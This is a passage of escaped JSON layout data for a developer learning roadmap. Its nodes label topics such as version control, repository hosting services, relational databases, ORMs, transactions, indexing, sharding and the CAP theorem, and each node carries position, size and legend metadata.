\"oldId\": \"f9zIA51FbZ4ppqkpWFXzX\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -590.8814218617622,\n        \"y\": 111.70730350215206\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"SlH0Rl07yURDko2nDPfFy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -590.8814218617622,\n        \"y\": 58.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ruby\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lEik_KnhW02L7xDMcutDa\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -590.8814218617622,\n        \"y\": 58.70730350215206\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 177,\n      \"height\": 50,\n      \"id\": \"2f0ZO6GJElfZ2Eis28Hzg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -445.22698541870875,\n        \"y\": 164.20730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pick a Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uGqgITLdZbxJdGUihNqxV\"\n      },\n      \"style\": {\n        \"width\": 177,\n        \"height\": 50\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -445.22698541870875,\n        \"y\": 164.20730350215206\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 50\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"_I1E__wCIVrhjMk6IMieE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -204.58230823147517,\n        \"y\": 218.70730350215206\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eyP1K2ve-C0gDYt6Hdgw0\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -204.58230823147517,\n        \"y\": 218.70730350215206\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 232,\n      \"height\": 49,\n      \"id\": \"ezdqQW9wTUw93F6kjOzku\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -270.08230823147517,\n        \"y\": 307.6876382503563\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Version Control Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"f2sY4RLE0k8vVAfZFnxgj\"\n      },\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -270.08230823147517,\n        \"y\": 307.6876382503563\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 134,\n      \"height\": 49,\n      \"id\": \"ptD8EVqwFUYr4W5A_tABY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -666.3591391487768,\n        \"y\": 258.6876382503563\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eCkVAP0s0GKyY88M2fBDS\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -666.3591391487768,\n        \"y\": 258.6876382503563\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 131,\n      \"height\": 49,\n      \"id\": \"Ry_5Y-BK7HrkIc6X0JG1m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -664.8591391487768,\n        \"y\": 497.10143585693174\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bitbucket\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"e4KQQInL16_RB4JdObH0I\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -664.8591391487768,\n        \"y\": 497.10143585693174\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 134,\n      \"height\": 49,\n      \"id\": \"Wcp-VDdFHipwa7hNAp1z_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -666.3591391487768,\n        \"y\": 311.6876382503563\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitLab\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yqA_KjfiUMC8BUu4IK9cy\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -666.3591391487768,\n        \"y\": 311.6876382503563\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 224,\n      \"height\": 49,\n      \"id\": \"NvUcSDWBhzJZ31nzT4UlE\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -711.3591391487768,\n        \"y\": 409.93150039307886\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Repo Hosting Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"I-NkKNiKBNB6f8QaFzRgU\"\n      },\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.3591391487768,\n        \"y\": 409.93150039307886\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 133,\n      \"height\": 49,\n      \"id\": \"FihTrMO56kj9jT8O_pO2T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -210.58230823147517,\n        \"y\": 409.10143585693174\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PostgreSQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lNsaFZwGE7vA0Km-Jfft4\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 133,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -210.58230823147517,\n        \"y\": 409.10143585693174\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 176,\n      \"height\": 49,\n      \"id\": \"dEsTje8kfHwWjCI3zcgLC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 132.7143470412414,\n        \"y\": 443.10143585693174\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MS SQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ulpADspLetx1g61PqMGU8\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 132.7143470412414,\n        \"y\": 443.10143585693174\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 176,\n      \"height\": 49,\n      \"id\": \"VPxOdjJtKAqmM5V0LR5OC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 132.7143470412414,\n        \"y\": 335.10143585693174\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MySQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3z18KztSA_4OY7zwxpFbB\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 132.7143470412414,\n        \"y\": 335.10143585693174\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 176,\n      \"height\": 49,\n      \"id\": \"h1SAjQltHtztSt8QmRgab\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 132.7143470412414,\n        \"y\": 497.10143585693174\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Oracle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bwQCmYPLWxGuE-GFmm3UG\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 132.7143470412414,\n        \"y\": 497.10143585693174\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 176,\n      \"height\": 49,\n      \"id\": \"tD3i-8gBpMKCHB-ITyDiU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 132.7143470412414,\n        \"y\": 389.10143585693174\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MariaDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YXyxPWu91_gMdNwFdTfRO\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 132.7143470412414,\n        \"y\": 389.10143585693174\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 232,\n      \"height\": 50,\n      \"id\": \"r45b461NxLN6wBODJ5CNP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -260.08230823147517,\n        \"y\": 499.10143585693174\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Relational Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sJ04XNIM7JqzHnffWd5UM\"\n      },\n      \"style\": {\n        \"width\": 232,\n        \"height\": 50\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -260.08230823147517,\n        \"y\": 499.10143585693174\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 50\n      }\n    },\n    {\n      \"width\": 189,\n      \"height\": 49,\n      \"id\": \"F8frGuv1dunOdcVJ_IiGs\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -410.4187098500313,\n        \"y\": 2665.8118258070244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NoSQL Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CNTHlHWUKgX1iafCRmV9s\"\n      },\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -410.4187098500313,\n        \"y\": 2665.8118258070244\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 162,\n      \"height\": 49,\n      \"id\": \"Z7jp_Juj5PffSxV7UZcBb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1195.4323026615211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ORMs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FHrVrP-ndnV8MsDKMxdsq\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1195.4323026615211\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 162,\n      \"height\": 49,\n      \"id\": \"Ge2SnKBrQQrU-oGLz6TmT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1411.4323026615211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Normalization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"50VkyrePI7pvgEyrWB1xN\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1411.4323026615211\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 162,\n      \"height\": 49,\n      \"id\": \"qSAdfaGUfn8mtmDjHJi3z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1249.4323026615211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ACID\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4aBoOyTn1ALDRHYcfwzHf\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1249.4323026615211\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 162,\n      \"height\": 49,\n      \"id\": \"GwApfL4Yx-b5Y8dB9Vy__\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1465.4323026615211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Failure Modes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"--uLs-qyQYLn1WDir6KVt\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1465.4323026615211\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 162,\n      \"height\": 49,\n      \"id\": \"rq_y_OBMD9AH_4aoecvAi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1303.4323026615211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Transactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"plXELtRHevUzYUL3doQSs\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1303.4323026615211\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 162,\n      \"height\": 49,\n      \"id\": \"SYXJhanu0lFmGj2m2XXhS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1519.4323026615211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Profiling Perfor.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rFgQmfporOARKXsmzAy64\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1519.4323026615211\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 162,\n      \"height\": 49,\n      \"id\": \"bQnOAu863hsHdyNMNyJop\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1357.4323026615211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"N+1 Problem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5pdTq6LCx8VXjd0-J1a1s\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 141.1821043313223,\n        \"y\": 1357.4323026615211\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 221,\n      \"height\": 49,\n      \"id\": \"LJt27onEOeIBomiEMTyKd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -213.58230823147517,\n        \"y\": 1371.1269544903398\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"More about Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pNTfCAoFYG6YwBm5EOCvw\"\n      },\n      \"style\": {\n        \"width\": 221\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -213.58230823147517,\n        \"y\": 1371.1269544903398\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 198,\n      \"height\": 49,\n      \"id\": \"y-xkHFE9YzhNIX3EiWspL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -681.7068261234407,\n        \"y\": 1540.7987488082963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Database Indexes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"S9MgYBsbsQ47S7J0Qg8wi\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -681.7068261234407,\n        \"y\": 1540.7987488082963\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 198,\n      \"height\": 49,\n      \"id\": \"zWstl08R4uzqve4BdYurp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -681.7068261234407,\n        \"y\": 1648.7987488082963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sharding Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5dMoHdwlIIT8o3SE4JIJA\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -681.7068261234407,\n        \"y\": 1648.7987488082963\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 198,\n      \"height\": 49,\n      \"id\": \"wrl7HHWXOaxoKVlNZxZ6d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -681.7068261234407,\n        \"y\": 1594.7987488082963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Replication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"x4ws8SdWuAI2aH_kDauT0\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -681.7068261234407,\n        \"y\": 1594.7987488082963\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 198,\n      \"height\": 49,\n      \"id\": \"LAdKDJ4LcMaDWqslMvE8X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -681.7068261234407,\n        \"y\": 1702.7987488082963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CAP Theorem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"w_wOm7K0vM0mdW1aoNkoS\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -681.7068261234407,\n        \"y\": 1702.7987488082963\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 189,\n      \"height\": 49,\n      \"id\": \"95d9itpUZ4s9roZN8kG9x\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -378.55147002599665,\n        \"y\": 1540.657540804727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Scaling Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h2QJvs2kJjVUTPe0u7lbI\"\n      },\n      \"style\": {\n        \"width\": 189\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -378.55147002599665,\n        \"y\": 1540.657540804727\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 178,\n      \"height\": 49,\n      \"id\": \"dLY0KafPstajCcSbslC4M\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -368.73723374307156,\n        \"y\": 590.8575659590066\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HATEOAS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jg0GK9Vk3j4ASFJAYTCg9\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -368.73723374307156,\n        \"y\": 590.8575659590066\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 207,\n      \"height\": 49,\n      \"id\": 